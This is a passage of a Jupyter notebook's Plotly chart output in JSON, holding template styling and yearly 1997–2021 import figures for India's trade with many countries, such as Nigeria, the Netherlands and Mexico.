0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmapgl" - } - ], - "histogram": [ - { - "marker": { - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "histogram" - } - ], - "histogram2d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2d" - } - ], - "histogram2dcontour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2dcontour" - } - ], - "mesh3d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "mesh3d" - } - ], - "parcoords": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "parcoords" - } - ], - "pie": [ - { - "automargin": true, - "type": "pie" - } - ], - "scatter": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter" - } - ], - "scatter3d": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter3d" - } - ], - "scattercarpet": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattercarpet" - } - ], - "scattergeo": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergeo" - } - ], - "scattergl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergl" - } - ], - "scattermapbox": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattermapbox" - } - ], - "scatterpolar": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolar" - } - ], - "scatterpolargl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolargl" - } - ], - "scatterternary": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterternary" - } - ], - "surface": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "surface" - } - ], - "table": [ - { - "cells": { - "fill": { - "color": "#EBF0F8" - }, - "line": { - "color": "white" - } - }, - "header": { - "fill": { - "color": "#C8D4E3" - }, - "line": { - "color": "white" - } - }, - "type": "table" - } - ] - }, - "layout": { - "annotationdefaults": { - "arrowcolor": "#2a3f5f", - "arrowhead": 0, - "arrowwidth": 1 - }, - "autotypenumbers": "strict", - "coloraxis": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "colorscale": { - "diverging": [ - [ - 0, - "#8e0152" - ], - [ - 0.1, - "#c51b7d" - ], - [ - 0.2, - "#de77ae" - ], - [ - 0.3, - "#f1b6da" - ], - [ - 0.4, - "#fde0ef" - ], - [ - 0.5, - "#f7f7f7" - ], - [ - 0.6, - "#e6f5d0" - ], - [ - 0.7, - "#b8e186" - ], - [ - 0.8, - "#7fbc41" - ], - [ - 0.9, - "#4d9221" - ], - [ - 1, - "#276419" - ] - ], - "sequential": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "sequentialminus": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ] - }, - "colorway": [ - "#636efa", - "#EF553B", - "#00cc96", - "#ab63fa", - "#FFA15A", - "#19d3f3", - "#FF6692", - "#B6E880", - "#FF97FF", - "#FECB52" - ], - "font": { - "color": "#2a3f5f" - }, - "geo": { - "bgcolor": "white", - "lakecolor": "white", - "landcolor": "#E5ECF6", - "showlakes": true, - "showland": true, - "subunitcolor": "white" - }, - "hoverlabel": { - "align": "left" - }, - "hovermode": "closest", - "mapbox": { - "style": "light" - }, - "paper_bgcolor": "white", - "plot_bgcolor": "#E5ECF6", - "polar": { - "angularaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "radialaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "scene": { - "xaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "yaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "zaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - } - }, - "shapedefaults": { - "line": { - "color": "#2a3f5f" - } - }, - "ternary": { - "aaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "baxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "caxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "title": { - "x": 0.05 - }, - "xaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - }, - "yaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - } - } - }, - "title": { - "text": "EXPORT By India to Other Countries" - }, - "xaxis": { - "anchor": "y", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Year" - } - }, - "yaxis": { - "anchor": "x", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Export" - } - } - } - }, - "text/html": [ - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.plotly.v1+json": { - "config": { - "plotlyServerURL": "https://plot.ly" - }, - "data": [ - { - "hovertemplate": "Year=%{x}
Import=%{y}", - "legendgroup": "", - "line": { - "color": "#636efa", - "dash": "solid" - }, - "marker": { - "symbol": "circle" - }, - "mode": "lines", - "name": "", - "orientation": "v", - "showlegend": false, - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "xaxis": "x", - "y": [ - 10.7, - 28.14, - 21.06, - 26.59, - 17.52, - 18.46, - 40.51, - 47.01, - 58.42, - 34.37, - 109.97, - 126.24, - 125.19, - 146.03, - 132.5, - 159.55, - 208.77, - 261.91, - 307.9, - 292.9, - 433.78, - 435.44, - 529.84, - 509.49, - 412.78 - ], - "yaxis": "y" - }, - { - "mode": "lines", - "name": "AFGHANISTAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 10.7, - 28.14, - 21.06, - 26.59, - 17.52, - 18.46, - 40.51, - 47.01, - 58.42, - 34.37, - 109.97, - 126.24, - 125.19, - 146.03, - 132.5, - 159.55, - 208.77, - 261.91, - 307.9, - 292.9, - 433.78, - 435.44, - 529.84, - 509.49, - 412.78 - ] - }, - { - "mode": "lines", - "name": "NICARAGUA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0.03, - 0.02, - 0.58, - 0.49, - 0.34, - 0.2, - 5.49, - 0.07, - 0.38, - 0.61, - 0.35, - 0.91, - 0.97, - 0.82, - 2.65, - 2.19, - 3.85, - 2.62, - 4.17, - 3.6, - 3.6, - 6.18, - 6.72 - ] - }, - { - "mode": "lines", - "name": "MONTSERRAT", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0, - 0.02, - 0.02, - 0.06, - 0.05, - 0.1, - 0.01, - 0, - 0, - 0, - 0, - 0, - 0, - 0.96, - 0, - 0.02, - 0.06, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "MOROCCO", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 461.4, - 402, - 420.1, - 315.29, - 266.39, - 199.65, - 255.6, - 362.16, - 456.37, - 489.98, - 499.4, - 948.15, - 861.51, - 839.64, - 1658.45, - 1309.03, - 879.18, - 936.25, - 1077.58, - 792.93, - 779.63, - 1326.69, - 952.54, - 1436.82, - 1626.93 - ] - }, - { - "mode": "lines", - "name": "MOZAMBIQUE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 13.73, - 25.36, - 33.7, - 21.27, - 6.61, - 27.77, - 23.62, - 41.56, - 50.61, - 28.66, - 47.65, - 31.94, - 68.76, - 103.45, - 101.48, - 291.49, - 292.96, - 325.74, - 362.88, - 546.29, - 931.75, - 1097.43, - 835.07, - 631.6, - 1303.97 - ] - }, - { - "mode": "lines", - "name": "MYANMAR", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 224.01, - 173.76, - 171.59, - 181.69, - 374.43, - 336.04, - 409.01, - 405.91, - 525.96, - 782.65, - 808.63, - 928.97, - 1289.8, - 1017.67, - 1381.15, - 1412.69, - 1395.67, - 1231.54, - 984.27, - 1067.25, - 639.64, - 521.49, - 547.25, - 526.79, - 669.21 - ] - }, - { - "mode": "lines", - "name": "NAMIBIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.06, - 0.01, - 0.22, - 0.43, - 0.19, - 3.27, - 0.1, - 0.05, - 20.77, - 3.38, - 20.68, - 3.39, - 41.88, - 36.76, - 10.25, - 9.19, - 13, - 34.42, - 10.42, - 50.31, - 62.2, - 53.55, - 28.54, - 30.23, - 40.16 - ] - }, - { - "mode": "lines", - "name": "NAURU RP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.32, - 2.06, - 8.11, - 7.43, - 1.74, - 2.27, - 3.66, - 1.69, - 0.18, - 0.75, - 0.4, - 28.07, - 15.72, - 4.05, - 15.18, - 21.03, - 4.76, - 10.19, - 5.76, - 0.04, - 0.01, - 0.16, - 0.07, - 0.05, - 17 - ] - }, - { - "mode": "lines", - "name": "NEPAL", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 95.16, - 144.85, - 188.63, - 255.08, - 355.94, - 281.76, - 286.04, - 345.83, - 379.85, - 306.02, - 628.56, - 496.04, - 452.61, - 513.4, - 549.97, - 543.1, - 529.93, - 639.91, - 470.59, - 445.13, - 438.38, - 508.14, - 711.61, - 673.16, - 1118.51 - ] - }, - { - "mode": "lines", - "name": "NETHERLAND", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 445.19, - 464.19, - 470.9, - 437.53, - 466.47, - 385.74, - 535.56, - 791.46, - 1049.55, - 1158.4, - 1926.73, - 1914.95, - 2130, - 1853.1, - 2618.5, - 2379.09, - 3138.92, - 2802.9, - 1859.9, - 1895.71, - 2512.63, - 4062.8, - 3390.97, - 3317.72, - 3255.46 - ] - }, - { - "mode": "lines", - "name": "NETHERLANDANTIL", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.03, - 0, - 0.14, - 0, - 0, - 0.2, - 0, - 0.06, - 1.08, - 1.25, - 1.43, - 0.98, - 3.47, - 27.4, - 15.73, - 4.33, - 11.26, - 59.24, - 66.7, - 8.19, - 9.64, - 22.76, - 4.07, - 8.46 - ] - }, - { - "mode": "lines", - "name": "NEW CALEDONIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.16, - 0.04, - 0.19, - 0.4, - 1.74, - 1.02, - 11.26, - 9.18, - 3.11, - 21.21, - 10.08, - 10.74, - 3.07, - 6.78, - 11.26, - 27.07, - 27.79, - 21.38, - 50.35, - 23.98, - 9.65, - 0.21, - 0.23, - 1.81, - 5.38 - ] - }, - { - "mode": "lines", - "name": "NEW ZEALAND", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 83.76, - 88.33, - 96.5, - 79.34, - 82.17, - 76.4, - 78.89, - 127.96, - 216.63, - 265.5, - 335.94, - 423.74, - 499.21, - 625.21, - 822.72, - 696.62, - 614.52, - 591.4, - 547.61, - 504.44, - 643.71, - 630.78, - 521.83, - 381.53, - 297.73 - ] - }, - { - "mode": "lines", - "name": "NIGER", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.08, - 0, - 0.08, - 1.64, - 0.6, - 0.06, - 2.21, - 0.72, - 0.76, - 5.31, - 0.67, - 0.17, - 0.25, - 10.47, - 73.68, - 69.05, - 0.54, - 0.55, - 0.32, - 0.03, - 20.24, - 0.65, - 0.9, - 4.12, - 4.53 - ] - }, - { - "mode": "lines", - "name": "MOLDOVA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.08, - 0, - 0, - 0, - 0.1, - 1.77, - 0.04, - 0.15, - 0.21, - 0.46, - 0.39, - 7.15, - 1.09, - 0.12, - 0.45, - 0.69, - 0.52, - 1.43, - 4.89, - 11.73, - 1.57, - 0.39, - 0.25, - 1, - 0.06 - ] - }, - { - "mode": "lines", - "name": "NIGERIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1115.48, - 1177.73, - 2928.39, - 63.78, - 87.12, - 78.13, - 75.64, - 48.4, - 72.46, - 7009.21, - 7612.02, - 8900.35, - 7287.9, - 10787.72, - 14757.77, - 12086.11, - 14097.84, - 13682.97, - 9949.17, - 7659.48, - 9501.33, - 10884.71, - 10213.61, - 5672.38, - 7363.87 - ] - }, - { - "mode": "lines", - "name": "NORFOLK IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0.07, - 0.01, - 0, - 0.02, - 0, - 0.09, - 0.13, - 0.02, - 0.42, - 0.83, - 0.81, - 0.16, - 0.14, - 0.54, - 0.2, - 0.13, - 0.07, - 0.01, - 0.46, - 0.14, - 0.45, - 0.24, - 0.23 - ] - }, - { - "mode": "lines", - "name": "NORWAY", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 97.85, - 66.32, - 43.01, - 46.85, - 47.98, - 96.95, - 303.02, - 235.08, - 289.34, - 768.7, - 1639.55, - 1120.73, - 907.35, - 961.49, - 850.97, - 944.98, - 745.14, - 1001.11, - 585.37, - 566.79, - 842.08, - 366.47, - 630.79, - 673.66, - 1784.27 - ] - }, - { - "mode": "lines", - "name": "OMAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 32.46, - 22.68, - 62.24, - 6.34, - 8.48, - 13.84, - 50.88, - 20.61, - 265.59, - 458.9, - 1141.46, - 1205.46, - 3499.89, - 4002.07, - 3345.94, - 2009.72, - 2951.18, - 1752.24, - 1674.71, - 1290.5, - 4264.29, - 2759, - 3669.33, - 3087.93, - 4735.51 - ] - }, - { - "mode": "lines", - "name": "PAKISTAN IR", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 44.45, - 214.45, - 68.21, - 64.03, - 64.76, - 44.85, - 57.65, - 94.97, - 179.56, - 323.62, - 287.97, - 370.17, - 275.94, - 332.51, - 397.66, - 541.87, - 426.88, - 497.31, - 441.03, - 454.49, - 488.56, - 494.87, - 13.97, - 2.39, - 2.02 - ] - }, - { - "mode": "lines", - "name": "PANAMA REPUBLIC", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 47.99, - 17.32, - 0.15, - 9.5, - 26.75, - 17.94, - 7.99, - 90.87, - 247.44, - 306.12, - 252.81, - 135.64, - 366.35, - 188.47, - 160.69, - 109.55, - 41.64, - 30.46, - 72.49, - 201.83, - 43.32, - 38.88, - 75.83, - 32.95, - 207.19 - ] - }, - { - "mode": "lines", - "name": "PAPUA N GNA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2.85, - 2.04, - 1.46, - 0.31, - 0.06, - 0.41, - 0.95, - 95.2, - 64.12, - 277.35, - 195.34, - 229.77, - 100.56, - 216.94, - 199.37, - 104.64, - 178.3, - 157.29, - 179.59, - 108.06, - 196.19, - 88.96, - 55.7, - 125.85, - 265.36 - ] - }, - { - "mode": "lines", - "name": "PARAGUAY", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.59, - 0.51, - 0.15, - 0.54, - 18.05, - 0.64, - 0.75, - 2.77, - 4.21, - 2.83, - 0.45, - 0.58, - 5.22, - 5.31, - 11.1, - 8.66, - 5.28, - 88.12, - 112.26, - 155.28, - 166.9, - 20.97, - 25.28, - 15.61, - 11.74 - ] - }, - { - "mode": "lines", - "name": "PERU", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 14.08, - 9.32, - 49.53, - 9.13, - 27.95, - 24.77, - 29.91, - 36.35, - 23.06, - 127.41, - 158.44, - 269.94, - 136.62, - 187.36, - 548.27, - 561.32, - 524.2, - 590.4, - 820.22, - 1076.69, - 2376.86, - 2405.4, - 1575.09, - 1520.88, - 2107.6 - ] - }, - { - "mode": "lines", - "name": "PHILIPPINES", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 23.06, - 37.25, - 56.24, - 63.04, - 94.84, - 123.77, - 122.11, - 187.39, - 235.49, - 166.79, - 204.54, - 254.77, - 313.07, - 429.39, - 441.38, - 504, - 391.59, - 423.04, - 542.16, - 494.62, - 764.36, - 581.1, - 523.83, - 572.47, - 551.66 - ] - }, - { - "mode": "lines", - "name": "POLAND", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 32.7, - 33.81, - 38.49, - 42.63, - 31.39, - 38.84, - 49.05, - 90.37, - 107.81, - 117.23, - 189.46, - 266.12, - 387.29, - 386.04, - 624.25, - 863.25, - 622.57, - 635.6, - 569.66, - 690.98, - 766.99, - 793.39, - 849.58, - 706.35, - 800.91 - ] - }, - { - "mode": "lines", - "name": "MONGOLIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.18, - 0.19, - 0.29, - 0.13, - 0.15, - 0.51, - 0.74, - 0.21, - 1.62, - 2.24, - 9.38, - 18.22, - 1.26, - 1.97, - 15.17, - 10.18, - 8.75, - 4.3, - 4.14, - 1.99, - 1.72, - 1.01, - 1.3, - 0.42, - 0.54 - ] - }, - { - "mode": "lines", - "name": "MEXICO", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 79.49, - 92.02, - 96.49, - 53.83, - 62.24, - 65.52, - 73.89, - 82.62, - 97.61, - 795.3, - 1189.13, - 1725.09, - 1048.97, - 1163.45, - 2579.73, - 4037.62, - 3672.43, - 3393.15, - 2283.19, - 2944.52, - 3930.26, - 5577.03, - 4296.8, - 2845.91, - 3243.45 - ] - }, - { - "mode": "lines", - "name": "KAZAKHSTAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 36.03, - 12.43, - 13.45, - 14.04, - 7.39, - 12.73, - 9.26, - 15.39, - 26.3, - 88.3, - 76.78, - 159.03, - 154.91, - 138.42, - 191.86, - 139.99, - 656.33, - 701.67, - 352.93, - 521.29, - 907.43, - 708.78, - 2255.7, - 804.97, - 275.97 - ] - }, - { - "mode": "lines", - "name": "LIECHTENSTEIN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.03, - 0, - 0.03, - 0.02, - 0.28, - 0.02, - 0.51, - 0.79, - 0.38, - 3.68, - 0.08, - 0.04, - 0.22, - 0.64, - 0.85, - 0.47, - 1.17, - 1.18, - 0.86, - 1.6, - 3.6, - 0.42, - 0.34, - 0.41 - ] - }, - { - "mode": "lines", - "name": "KIRIBATI REP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0.02, - 0, - 0, - 0, - 0.17, - 0, - 0, - 0.04, - 0, - 0.06, - 0, - 0.45, - 0, - 0.08, - 0, - 0.01, - 0, - 0, - 0, - 0.22, - 0, - 0, - 0.04 - ] - }, - { - "mode": "lines", - "name": "KOREA DP RP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 57.38, - 90.2, - 16.58, - 19.3, - 3.19, - 4.7, - 1.08, - 9.33, - 56.57, - 489.39, - 161.41, - 56.72, - 8.71, - 